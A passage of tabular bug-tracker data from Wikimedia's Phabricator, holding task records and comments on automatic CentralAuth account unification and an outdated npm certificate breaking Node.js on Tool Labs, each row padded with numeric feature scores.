Expected behavior: until recently, you should have been able to visit Special:UserLogin while authenticated as another account. The form then tells you that you are already logged in and allows you to login as a separate user."
72392,Allow to automatically unify on login absent clashes,"If $wgCentralAuthAutoMigrate is set to true, when a user logs in and has no global account, in case all local accouns with same username match the email and/or password, create a global account and merge everything.

It was noted on https://meta.wikimedia.org/?oldid=9740729#RenameUser_announcement that this case is fairly frequent and not handled by $wgCentralAuthAutoMigrate yet. Bug 69291 should have taken care of all the unmerged accounts sharing email.

Example: https://tools.wmflabs.org/meta/stalktoy/Nemo+nonies , two local accounts with same password and no email set; I logged in for both and no global account was created.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1409826000,1411678444.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-n4yp7kgzlfrue3iyk7ty,task_description,resolved,True,c3,1,True,False,True,-43,True,1.5,0.5,0.0,2.0,0.5,7.0,0.5,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,7.5,0.5,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.5,0.0,0.0,0.5,0.0,0.5,16.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.5,6.5,1.5,3.5,7.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,1.5,7.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,4.254918032786885,0.7601092896174864,"If $wgCentralAuthAutoMigrate is set to true, when a user logs in and has no global account, in case all local accouns with same username match the email and/or password, create a global account and merge everything.

It was noted on URL that this case is fairly frequent and not handled by $wgCentralAuthAutoMigrate yet. Bug 69291 should have taken care of all the unmerged accounts sharing email.

Example: URL , two local accounts with same password and no email set; I logged in for both and no global account was created.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
324406,Allow to automatically unify on login absent clashes,"And now fixed again. Thanks Lego, Ori, Reedy.
* b01c59a2436e87ed4bb204a63ef2ab8bc74a4157
* 58c2fc8387f0a14d266ebd0e23eb874ce9c71f14
Should reach all Wikipedias with 1.25wmf1 on Thursday, 2 October 2014 (with https://gerrit.wikimedia.org/r/#/c/162971/ ).",,,1411678444,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-n4yp7kgzlfrue3iyk7ty,task_subcomment,,True,c3,1,True,,,-40,True,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,0.0,8.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,0.7777777777777778,"And now fixed again. Thanks Lego, Ori, Reedy.
* b01c59a2436e87ed4bb204a63ef2ab8bc74a4157
* 58c2fc8387f0a14d266ebd0e23eb874ce9c71f14
Should reach all Wikipedias with 1.25wmf1 on Thursday, 2 October 2014 (with URL )."
324399,Allow to automatically unify on login absent clashes,Patch was reverted due to bug 71223.,,,1411573160,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-n4yp7kgzlfrue3iyk7ty,task_subcomment,,True,c3,1,True,,,-41,True,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Patch was reverted due to bug 71223.
324392,Allow to automatically unify on login absent clashes,"Change 158578 merged by jenkins-bot:
Auto-migrate matching accounts where no global account exists

https://gerrit.wikimedia.org/r/158578",,,1410913843,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n4yp7kgzlfrue3iyk7ty,task_subcomment,,True,c3,1,False,,,-42,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,0.9523809523809523,"Change 158578 merged by jenkins-bot:
Auto-migrate matching accounts where no global account exists

GERRIT_URL"
324386,Allow to automatically unify on login absent clashes,"Change 158578 had a related patch set uploaded by Legoktm:
Auto-migrate matching accounts where no global account exists

https://gerrit.wikimedia.org/r/158578",,,1409887927,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n4yp7kgzlfrue3iyk7ty,task_subcomment,,True,c3,1,False,,,-43,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,17.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.833333333333333,1.0,"Change 158578 had a related patch set uploaded by Legoktm:
Auto-migrate matching accounts where no global account exists

GERRIT_URL"
72120,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),"I'd like to get a more modern version of node installed in Tools Labs for the anon project. Right now we have v0.8.2 installed but v0.10.31 is available if we add another apt repository:

    apt-add-repository ppa:chris-lea/node.js

I get an error when attempting to npm install packages (see below). I believe this error is the result of an older version of npm that comes with v0.8.2. I installed v0.10.30 locally and the problem went away. I would like to have a more modern node installed so I can use the open grid engine to manage the anon bot. Right now I have it running using a locally installed version of node in /data/project/anon/node/

Error: SSL Error: SELF_SIGNED_CERT_IN_CHAIN
npm ERR!     at ClientRequest.<anonymous> (/usr/lib/nodejs/npm/node_modules/request/main.js:440:26)
npm ERR!     at ClientRequest.g (events.js:185:14)
npm ERR!     at ClientRequest.EventEmitter.emit (events.js:88:17)
npm ERR!     at HTTPParser.parserOnIncomingClient [as onIncoming] (http.js:1445:7)
npm ERR!     at HTTPParser.parserOnHeadersComplete [as onHeadersComplete] (http.js:111:23)
npm ERR!     at CleartextStream.socketOnData [as ondata] (http.js:1356:20)
npm ERR!     at CleartextStream.CryptoStream._push (tls.js:396:27)
npm ERR!     at SecurePair.cycle (tls.js:750:20)
npm ERR!     at EncryptedStream.CryptoStream.write (tls.js:131:13)
npm ERR!     at Socket.ondata (stream.js:38:26)
npm ERR!  [Error: SSL Error: SELF_SIGNED_CERT_IN_CHAIN]
npm ERR! You may report this log at:
npm ERR!     <http://github.com/isaacs/npm/issues>
npm ERR! or email it to:
npm ERR!     <npm-@googlegroups.com>

npm ERR! System Linux 3.2.0-59-virtual
npm ERR! command ""nodejs"" ""/usr/bin/npm"" ""install""
npm ERR! cwd /home/edsu/Projects/anon
npm ERR! node -v v0.8.2
npm ERR! npm -v 1.1.39
npm ERR! message SSL Error: SELF_SIGNED_CERT_IN_CHAIN
npm http GET https://registry.npmjs.org/coffee-script
npm http GET https://registry.npmjs.org/ipv6
npm ERR!
npm ERR! Additional logging details can be found in:
npm ERR!     /home/edsu/Projects/anon/npm-debug.log
npm ERR! not ok code 0

--------------------------
**Version**: unspecified
**Severity**: critical",High,80.0,1409226660,1413324080.0,PHID-USER-nm47z3qdlxv5opuz3qyk,False,,False,PHID-TASK-xsx4vrpeet5dmzku47yq,task_description,resolved,True,c3,1,False,False,True,-44,True,0.0,0.0,0.0,0.2,0.2,2.4,0.4,0.0,0.0,0.2,1.2,0.2,0.0,0.0,0.0,1.8,0.4,2.6,6.0,0.0,0.8,0.0,0.0,0.0,0.4,0.0,0.0,0.8,0.6,0.4,0.0,1.8,0.6,0.4,0.6,0.2,0.0,0.0,0.8,0.4,0.0,0.0,0.4,1.0,0.0,0.2,0.0,0.0,0.0,5.6,0.2,0.4,0.0,0.4,0.0,0.2,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.0,2.0,0.6,14.6,0.6,0.6,2.6,0.0,0.0,5.2,0.0,2.4,0.2,1.6,0.0,2.4,6.0,25.4,0.0,1.2,0.0,2.4,0.0,0.4,1.0,0.0,0.8,0.6,0.0,1.6,3.998778998778998,0.5361904761904762,"I'd like to get a more modern version of node installed in Tools Labs for the anon project. Right now we have v0.8.2 installed but v0.10.31 is available if we add another apt repository:

    apt-add-repository ppa:chris-lea/node.js

I get an error when attempting to npm install packages (see below). I believe this error is the result of an older version of npm that comes with v0.8.2. I installed v0.10.30 locally and the problem went away. I would like to have a more modern node installed so I can use the open grid engine to manage the anon bot. Right now I have it running using a locally installed version of node in /data/project/anon/node/

Error: SSL Error: SELF_SIGNED_CERT_IN_CHAIN
npm ERR!     at ClientRequest.<anonymous> (/usr/lib/nodejs/npm/node_modules/request/main.js:440:26)
npm ERR!     at ClientRequest.g (events.js:185:14)
npm ERR!     at ClientRequest.EventEmitter.emit (events.js:88:17)
npm ERR!     at HTTPParser.parserOnIncomingClient [as onIncoming] (http.js:1445:7)
npm ERR!     at HTTPParser.parserOnHeadersComplete [as onHeadersComplete] (http.js:111:23)
npm ERR!     at CleartextStream.socketOnData [as ondata] (http.js:1356:20)
npm ERR!     at CleartextStream.CryptoStream._push (tls.js:396:27)
npm ERR!     at SecurePair.cycle (tls.js:750:20)
npm ERR!     at EncryptedStream.CryptoStream.write (tls.js:131:13)
npm ERR!     at Socket.ondata (stream.js:38:26)
npm ERR!  [Error: SSL Error: SELF_SIGNED_CERT_IN_CHAIN]
npm ERR! You may report this log at:
npm ERR!     <URL
npm ERR! or email it to:
npm ERR!     <npm-@googlegroups.com>

npm ERR! System Linux 3.2.0-59-virtual
npm ERR! command ""nodejs"" ""/usr/bin/npm"" ""install""
npm ERR! cwd /home/edsu/Projects/anon
npm ERR! node -v v0.8.2
npm ERR! npm -v 1.1.39
npm ERR! message SSL Error: SELF_SIGNED_CERT_IN_CHAIN
npm http GET URL
npm http GET URL
npm ERR!
npm ERR! Additional logging details can be found in:
npm ERR!     /home/edsu/Projects/anon/npm-debug.log
npm ERR! not ok code 0

--------------------------
**Version**: unspecified
**Severity**: critical"
333414,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),"Sorry, missed that email. Thanks for clarifying!",,,1416996190,,PHID-USER-53x4y44yt43qjivfzsqf,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,False,,,-32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.2,1.0,"Sorry, missed that email. Thanks for clarifying!"
333345,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),@danmichaelo use trusty.tools.wmflabs.org and use jsub with -l release=trusty. Both have newer versions.,,,1416984143,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,5.352941176470588,0.8823529411764706,SCREEN_NAME use trusty.tools.wmflabs.org and use jsub with -l release=trusty. Both have newer versions.
333344,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),Why was this closed? Node / npm is still broken on Tool Labs,,,1416984103,,PHID-USER-53x4y44yt43qjivfzsqf,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,False,,,-32,True,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,29.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,Why was this closed? Node / npm is still broken on Tool Labs
313998,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),"There is now a Trusty instance available to tool labs (per the email on labs-l) which can be requested with the ""-l release=trusty"" option to qsub and jsub.",,,1413324080,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,5.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4864864864864864,0.8918918918918919,"There is now a Trusty instance available to tool labs (per the email on labs-l) which can be requested with the ""-l release=trusty"" option to qsub and jsub."
313995,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),"(In reply to Ed Summers from comment #9)
> Can tools labs easily be upgraded to Trusty?

Not all of it, but there is a Trusty grid node available, and I'm about to add a Trusty bastion - between them you should be able to debug and run jobs on Trusty.

More news on labs-l today.",,,1413300045,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,True,,,-38,True,2.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,15.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,7.0,15.0,11.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,3.180327868852459,0.819672131147541,"(In reply to Ed Summers from comment #9)
QUOTE

Not all of it, but there is a Trusty grid node available, and I'm about to add a Trusty bastion - between them you should be able to debug and run jobs on Trusty.

More news on labs-l today."
313989,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),Can tools labs easily be upgraded to Trusty?,,,1409945433,,PHID-USER-nm47z3qdlxv5opuz3qyk,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,False,,,-43,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,Can tools labs easily be upgraded to Trusty?
313984,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),New Trusty VMs should have node 0.10 and a reasonably up to date npm. I'd recommend upgrading or creating a new trusty VM.,,,1409348163,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,19.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,8.0,27.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,3.8461538461538463,0.9230769230769231,New Trusty VMs should have node 0.10 and a reasonably up to date npm. I'd recommend upgrading or creating a new trusty VM.
313980,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),So is Parsoid not using npm at all? I really just need a working npm more than the most recently version of node. Thanks for your help!,,,1409343209,,PHID-USER-nm47z3qdlxv5opuz3qyk,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,False,,,-44,True,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,27.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,13.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,3.0,3.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,7.0,3.0,3.0,0.0,3.6333333333333333,0.9666666666666667,So is Parsoid not using npm at all? I really just need a working npm more than the most recently version of node. Thanks for your help!
313977,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),"That's actually not so much a Labs issue as it is a prod issue.  Precise provides 0.6.12 - our current install of nodejs comes from the WMF repo which provides (atm) 0.8.2 (and is in current use by Parsoid so upgrading it blindly is not a possibility).

Given that the change may be breaking, upgrading to 0.10 is also not really an option.

There are two possibilities:  (a) upgrade the WMF nodejs to the latest 0.8 release (requires coordination with the Parsoid people at least) or (b) install a project-local nodejs.

(b) is less desirable because it increases maintenance overhead and makes labs diverge from prod (which we try to minimize).

I'll look into doing (a) swiftly but if it's not possible I'll fall back to (b).",,,1409327474,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,True,,,-44,True,0.5,0.0,0.0,0.0,2.0,4.5,2.0,0.5,0.0,0.5,1.0,1.0,0.0,0.0,0.5,2.5,0.0,8.5,9.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,10.5,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,5.5,3.5,6.0,1.5,2.5,7.0,0.0,0.0,0.0,0.0,3.5,0.0,1.5,0.0,4.5,9.0,3.5,0.0,0.0,0.0,4.5,0.0,1.0,2.5,0.0,2.0,0.5,1.0,1.5,3.672421392888628,0.7150308551278284,"That's actually not so much a Labs issue as it is a prod issue.  Precise provides 0.6.12 - our current install of nodejs comes from the WMF repo which provides (atm) 0.8.2 (and is in current use by Parsoid so upgrading it blindly is not a possibility).

Given that the change may be breaking, upgrading to 0.10 is also not really an option.

There are two possibilities:  (a) upgrade the WMF nodejs to the latest 0.8 release (requires coordination with the Parsoid people at least) or (b) install a project-local nodejs.

(b) is less desirable because it increases maintenance overhead and makes labs diverge from prod (which we try to minimize).

I'll look into doing (a) swiftly but if it's not possible I'll fall back to (b)."
313974,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),*** Bug 69079 has been marked as a duplicate of this bug. ***,,,1409233910,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 69079 has been marked as a duplicate of this bug. ***
313970,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),Raising priority. npm is unusable without this.,,,1409231459,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.555555555555555,0.8888888888888888,Raising priority. npm is unusable without this.
313964,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),"See also http://blog.npmjs.org/post/78085451721/npms-self-signed-certificate-is-no-more

In short: They used to have a self-signed certificate which was baked into nodejs. They got a proper certificate now, but existing npm installs don't know about this yet.

You don't need to upgrade to a major new version (so not the ones in Trusty). A newer nodejs 0.8.x release and npm 1.4.x will suffice.",,,1409231424,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,1.0,4.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,10.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,11.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.0,10.0,4.0,0.0,0.0,0.0,4.0,0.0,1.0,6.0,0.0,1.0,1.0,0.0,0.0,3.6805555555555554,0.8055555555555556,"See also URL

In short: They used to have a self-signed certificate which was baked into nodejs. They got a proper certificate now, but existing npm installs don't know about this yet.

You don't need to upgrade to a major new version (so not the ones in Trusty). A newer nodejs 0.8.x release and npm 1.4.x will suffice."
313958,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),So can we get an upgrade in tools labs to another version of 0.8.x?,,,1409231369,,PHID-USER-nm47z3qdlxv5opuz3qyk,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,20.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,So can we get an upgrade in tools labs to another version of 0.8.x?
313954,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),"This certificate error is a problem within node 0.8 / npm 1.1.x that was fixed in an update.

While we should update to node 0.10, we probably will not do that for an individual page and instead have it happen naturally when we upgrade instances from Ubuntu Precise to Ubuntu Trusty (which comes with node 0.10).

